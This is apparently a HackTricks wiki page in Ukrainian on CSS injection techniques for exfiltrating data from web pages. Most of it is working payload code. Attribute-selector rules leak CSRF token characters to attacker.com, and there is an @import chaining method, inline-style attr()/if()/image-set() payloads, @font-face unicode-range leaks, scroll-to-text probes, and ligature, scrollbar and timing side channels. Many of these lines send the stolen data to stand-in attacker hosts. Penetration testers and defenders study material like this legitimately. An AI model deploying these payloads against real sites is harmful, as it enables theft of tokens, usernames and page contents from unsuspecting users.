CSS Injection

Reading time: 23 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

CSS Injection

Attribute Selector

CSS-селектори створюються, щоб відповідати значенням атрибутів name і value елемента input. Якщо атрибут value елемента input починається з певного символу, завантажується заздалегідь визначений зовнішній ресурс:

css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

Однак цей підхід має обмеження при роботі з прихованими елементами input (type="hidden"), оскільки приховані елементи не завантажують фони.

Обхід для прихованих елементів

Щоб обійти це обмеження, ви можете націлитися на наступний елемент-сусід за допомогою загального селектора-сусіда ~. Тоді CSS-правило застосовується до всіх елементів, що йдуть після прихованого input, змушуючи фонове зображення завантажитись:

css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Практичний приклад експлуатації цієї техніки детально наведено в наведеному фрагменті коду. Ви можете переглянути його тут.

Попередні умови для CSS Injection

Для того, щоб техніка CSS Injection була ефективною, повинні бути виконані певні умови:

  1. Payload Length: Вектор CSS Injection має підтримувати достатньо довгі payloads, щоб вмістити сконструйовані selectors.
  2. CSS Re-evaluation: Потрібно мати можливість frame-увати сторінку, що необхідно для тригера повторної оцінки CSS зі щойно згенерованими payloads.
  3. External Resources: Техніка припускає можливість використовувати зовнішньо розміщені зображення. Це може бути обмежено Content Security Policy (CSP) сайту.

Blind Attribute Selector

Як пояснено в цьому дописі, можна комбінувати селектори :has та :not для виявлення вмісту навіть з blind elements. Це дуже корисно, коли ви не маєте уявлення, що знаходиться на веб-сторінці, яка завантажує CSS injection.
Також можливо використовувати ці селектори для витягнення інформації з кількох блоків одного типу, як у:

html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

Поєднавши це з наступною технікою @import, можна exfiltrate багато info using CSS injection from blind pages with blind-css-exfiltration.

@import

Попередня техніка має деякі недоліки — перевірте prerequisites. Вам потрібно або мати можливість відправити жертві кілька посилань, або мати можливість iframe сторінку, вразливу до CSS injection.

Однак існує ще одна хитра техніка, що використовує CSS @import для підвищення ефективності.

Це вперше показав Pepe Vila і працює це так:

Замість того, щоб завантажувати ту саму сторінку знову і знову з десятками різних payloads кожного разу (як у попередньому прикладі), ми завантажимо сторінку лише один раз і тільки з import на attacker's server (це payload, який треба надіслати victim'у):

css
@import url("//attacker.com:5001/start?");
  1. The import отримає деякий CSS script від attackers, і browser його завантажить.
  2. Перша частина CSS script, яку attacker надішле, — це ще один @import до attackers server.
  3. attackers server поки не відповість на цей запит, бо ми хочемо leak деякі chars, а потім відповісти на цей import payload-ом, щоб leak наступні.
  4. Друга і більша частина payload буде attribute selector leakage payload
  5. Це надішле до attackers server перший char секрету та останній
  6. Як тільки attackers server отримає перший і останній char секрету, він відповість на import, запитаний у кроці 2.
  7. Відповідь буде точно такою ж, як steps 2, 3 and 4, але цього разу вона спробує знайти другий char секрету, а потім передостанній.

The attacker will follow that loop until it manages to leak completely the secret.

You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.

tip

Скрипт намагатиметься виявляти по 2 chars за ітерацію (з початку і з кінця), оскільки attribute selector дозволяє робити такі речі:

/* value^=  to match the beggining of the value*/
input[value^="0"] {
 --s0: url(http://localhost:5001/leak?pre=0);
}

/* value$=  to match the ending of the value*/
input[value$="f"] {
 --e0: url(http://localhost:5001/leak?post=f);
}

Це дозволяє скрипту leak секрет швидше.

warning

Іноді скрипт неправильно визначає, що виявлений префікс + суфікс вже становить повний flag, і він продовжить вперед (у префіксі) і назад (у суфіксі), в результаті чого в якийсь момент зависне.
Не хвилюйтеся, просто перевірте output, тому що ви можете побачити flag там.

Inline-Style CSS Exfiltration (attr() + if() + image-set())

Цей примітив дозволяє exfiltration, використовуючи лише inline style атрибут елемента, без селекторів чи зовнішніх stylesheet-ів. Він базується на CSS custom properties, функції attr() для читання same-element attributes, нових CSS if() умов для розгалужень та image-set() для тригера мережевого запиту, який кодує знайдене значення.

warning

Порівняння рівності в if() вимагають подвійних лапок для string literals. Одинарні лапки не співпадуть.

  • Sink: контролюйте style attribute елемента і переконайтесь, що target attribute знаходиться на тому ж елементі (attr() читає лише same-element attributes).
  • Read: скопіюйте атрибут у CSS variable: --val: attr(title).
  • Decide: оберіть URL за допомогою вкладених conditionals, порівнюючи змінну зі строковими кандидатами: --steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: застосуйте background: image-set(var(--steal)) (або будь-яку властивість, що робить fetch) щоб примусити запит до обраного endpoint.

Attempt (does not work; single quotes in comparison):

html
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

Робочий payload (для порівняння потрібні подвійні лапки):

html
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

Перерахування значень атрибутів із вкладеними умовами:

html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

Реалістична демонстрація (перевірка імен користувачів):

html
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

Примітки та обмеження:

  • Працює у браузерах на основі Chromium на момент дослідження; поведінка може відрізнятися в інших рушіях.
  • Найкраще підходить для скінченних/перелічуваних просторів значень (IDs, flags, short usernames). Викрадення довільно довгих рядків без зовнішніх стилів залишається складним.
  • Будь-яка CSS-властивість, яка отримує URL, може бути використана для ініціювання запиту (наприклад, background/image-set, border-image, list-style, cursor, content).

Автоматизація: Burp Custom Action може генерувати вкладені inline-style payloads для brute-force перебору значень атрибутів: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

Інші селектори

Інші способи доступу до частин DOM за допомогою CSS selectors:

  • .class-to-search:nth-child(2): Це знайде другий елемент з класом "class-to-search" у DOM.
  • :empty селектор: Використовується, наприклад, у this writeup:
css
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}

Посилання: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

Загальна мета — використати кастомний шрифт з контрольованого endpoint і забезпечити, що текст (в цьому випадку 'A') відображається цим шрифтом лише якщо вказаний ресурс (favicon.ico) не може бути завантажений.

html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Використання власного шрифту:
  • Власний шрифт визначається за допомогою правила @font-face всередині тега <style> в секції <head>.
  • Шрифт названо poc і він завантажується з зовнішнього сервера (http://attacker.com/?leak).
  • Властивість unicode-range встановлено в U+0041, націлюючи конкретний Unicode-символ 'A'.
  1. Елемент <object> з резервним текстом:
  • У секції <body> створюється елемент <object> з id="poc0". Цей елемент намагається завантажити ресурс з http://192.168.0.1/favicon.ico.
  • Для цього елемента властивість font-family встановлена в 'poc', як визначено в секції <style>.
  • Якщо ресурс (favicon.ico) не вдасться завантажити, всередині тега <object> відображається резервний вміст (літера 'A').
  • Резервний вміст ('A') буде відрендерено з використанням власного шрифту poc, якщо зовнішній ресурс не може бути завантажений.

Стилізація Scroll-to-Text Fragment

Псевдоклас :target використовується, щоб вибрати елемент, на який посилається URL fragment, як зазначено в CSS Selectors Level 4 specification. Важливо розуміти, що ::target-text не відповідає жодним елементам, якщо текст явно не вказано у фрагменті.

Виникає проблема безпеки, коли зловмисники експлуатують функцію Scroll-to-text, що дозволяє їм підтвердити наявність конкретного тексту на веб-сторінці шляхом завантаження ресурсу з їхнього сервера через HTML-ін'єкцію. Метод полягає у впровадженні CSS-правила на кшталт цього:

css
:target::before {
content: url(target.png);
}

У таких сценаріях, якщо на сторінці присутній текст "Адміністратор", запитується з сервера ресурс target.png, що вказує на наявність цього тексту. Приклад такої атаки може бути виконаний через спеціально сформований URL, який вбудовує ін'єкований CSS разом зі Scroll-to-text fragment:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Тут атака маніпулює HTML injection, щоб передати CSS-код, націлюючись на конкретний текст "Administrator" через Scroll-to-text fragment (#:~:text=Administrator). Якщо текст знайдено, вказаний ресурс завантажується, ненавмисно сповіщаючи про його наявність зловмисника.

Для зменшення ризику слід звернути увагу на такі моменти:

  1. Обмежене зіставлення STTF: Scroll-to-text Fragment (STTF) призначений для зіставлення лише слів або речень, тим самим обмежуючи його здатність до leak довільних секретів або токенів.
  2. Restriction to Top-level Browsing Contexts: STTF працює виключно в top-level browsing contexts і не функціонує в межах iframes, через що будь-яка спроба exploitation стає більш помітною для користувача.
  3. Необхідність user-activation: STTF вимагає жесту user-activation для роботи, тобто exploitation можливі лише через навігації, ініційовані користувачем. Це суттєво зменшує ризик автоматизованих атак без взаємодії користувача. Проте автор blog post зазначає конкретні умови та обходи (наприклад, social engineering, взаємодія з поширеними browser extensions), які можуть полегшити автоматизацію атаки.

Усвідомлення цих механізмів і потенційних вразливостей є ключовим для підтримання веб-безпеки та захисту від таких експлуативних тактик.

For more information check the original report: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Можна переглянути an exploit using this technique for a CTF here.

@font-face / unicode-range

Ви можете вказати зовнішні шрифти для конкретних unicode values, які будуть завантажені лише якщо ці unicode values присутні на сторінці. Наприклад:

html
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

Коли ви заходите на цю сторінку, Chrome і Firefox роблять запити "?A" та "?B", тому що текстовий вузол sensitive-information містить символи "A" і "B". Але Chrome і Firefox не роблять запит "?C", оскільки він не містить "C". Це означає, що нам вдалося прочитати "A" і "B".

Text node exfiltration (I): ligatures

Джерело: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

Описана техніка полягає у витяганні тексту з вузла шляхом експлуатації ligatures шрифтів і моніторингу змін ширини. Процес включає кілька кроків:

  1. Creation of Custom Fonts:
  • Створюються SVG fonts з glyphs, що мають атрибут horiz-adv-x, який задає велику ширину для glyph, що представляє послідовність з двох символів.
  • Приклад SVG glyph: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, де "XY" позначає послідовність з двох символів.
  • Ці шрифти потім конвертують у woff формат за допомогою fontforge.
  1. Detection of Width Changes:
  • CSS використовується, щоб текст не переносився (white-space: nowrap) і щоб кастомізувати стиль scrollbar.
  • Поява горизонтального scrollbar, стилізованого особливим чином, виступає індикатором (oracle), що певна ligature, а отже і певна послідовність символів, присутня в тексті.
  • Залучений CSS:
css
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
  1. Exploit Process:
  • Step 1: Створюються шрифти для пар символів з великою шириною.
  • Step 2: Використовується трюк з scrollbar для виявлення моменту, коли рендериться glyph великої ширини (ligature для пари символів), що вказує на наявність цієї послідовності символів.
  • Step 3: Після виявлення ligature генеруються нові glyphs, що представляють послідовності з трьох символів, включаючи виявлену пару і додаючи передуючий або наступний символ.
  • Step 4: Проводиться виявлення трисимвольної ligature.
  • Step 5: Процес повторюється, поступово розкриваючи весь текст.
  1. Optimization:
  • Поточний метод ініціалізації з використанням <meta refresh=... не є оптимальним.
  • Більш ефективний підхід може використовувати трюк з @import в CSS, що покращить продуктивність експлойту.

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

Джерело: PoC using Comic Sans by @Cgvwzq & @Terjanq

Цей трюк було оприлюднено в цій Slackers thread. Charset, що використовується в текстовому вузлі, може бути витяжено з використанням стандартних шрифтів, встановлених у браузері: не потрібні зовнішні чи кастомні шрифти.

Концепція базується на використанні анімації для поступового розширення ширини div, що дозволяє одному символу за раз переходити з частини тексту 'suffix' до частини 'prefix'. Цей процес фактично розділяє текст на дві секції:

  1. Prefix: початкова лінія.
  2. Suffix: наступна(і) лінія(і).

Стадії переходу символів виглядатимуть так:

C
ADB

CA
DB

CAD
B

CADB

Під час цього переходу застосовується трюк з unicode-range для ідентифікації кожного нового символу, коли він приєднується до prefix. Це досягається шляхом перемикання шрифту на Comic Sans, який помітно вищий за стандартний шрифт, внаслідок чого з'являється вертикальний scrollbar. Поява цього scrollbar опосередковано виявляє присутність нового символу в prefix.

Хоча цей метод дозволяє виявити унікальні символи в міру їх появи, він не вказує, який саме символ повторюється — лише те, що відбулося повторення.

tip

В основному unicode-range використовується для виявлення char, але оскільки ми не хочемо завантажувати зовнішній шрифт, потрібно знайти інший спосіб.
Коли char знайдено, йому присвоюється попередньо встановлений шрифт Comic Sans, який робить char більшим і викликає появу смуги прокрутки, що призведе до leak знайденого char.

Перегляньте код, витягнутий з PoC:

css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): leaking the charset за допомогою стандартного шрифту шляхом приховування елементів (не вимагає зовнішніх ресурсів)

Reference: Це згадується як неуспішне рішення в цьому розборі

Цей випадок дуже схожий на попередній, проте тут мета — зробити певні символи більшими за інші, щоб приховати щось (наприклад кнопку, яку бот не має натискати, або зображення, що не буде завантажене). Таким чином можна виміряти дію (або її відсутність) і дізнатися, чи присутній конкретний символ у тексті.

Text node exfiltration (III): leaking the charset за допомогою таймінгу кешу (не вимагає зовнішніх ресурсів)

Reference: Це згадується як неуспішне рішення в цьому розборі

У цьому випадку ми можемо спробувати leak, чи присутній символ у тексті, завантаживши фейковий шрифт з того самого origin:

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Якщо є відповідність, шрифт буде завантажений з /static/bootstrap.min.css?q=1. Хоча він не завантажиться успішно, браузер має зберегти його в кеші, і навіть якщо кешу немає, існує механізм 304 not modified, тож відповідь має бути швидшою, ніж інші ресурси.

Однак, якщо різниця в часі між кешованою відповіддю та некешованою недостатня, це не буде корисним. Наприклад, автор зазначив: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the disk-cache-size=1 flag, which is really thoughtful.

Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets)

Посилання: Це згадується як an unsuccessful solution in this writeup

У цьому випадку можна вказати CSS для завантаження сотень фейкових шрифтів з того самого origin, коли відбувається відповідність. Таким чином можна виміряти час, який це займає, і визначити, чи з’являється символ, чи ні, за допомогою чогось на кшталт:

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

А код бота виглядає так:

python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Отже, якщо шрифт не збігається, очікуваний час відповіді при зверненні до bot становить приблизно 30 секунд. Якщо ж є збіг шрифта, надсилається кілька запитів для завантаження шрифту, що викликає постійну мережеву активність. Це затримує виконання умови зупинки й отримання відповіді. Тож час відповіді можна використовувати як індикатор наявності збігу шрифта.

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks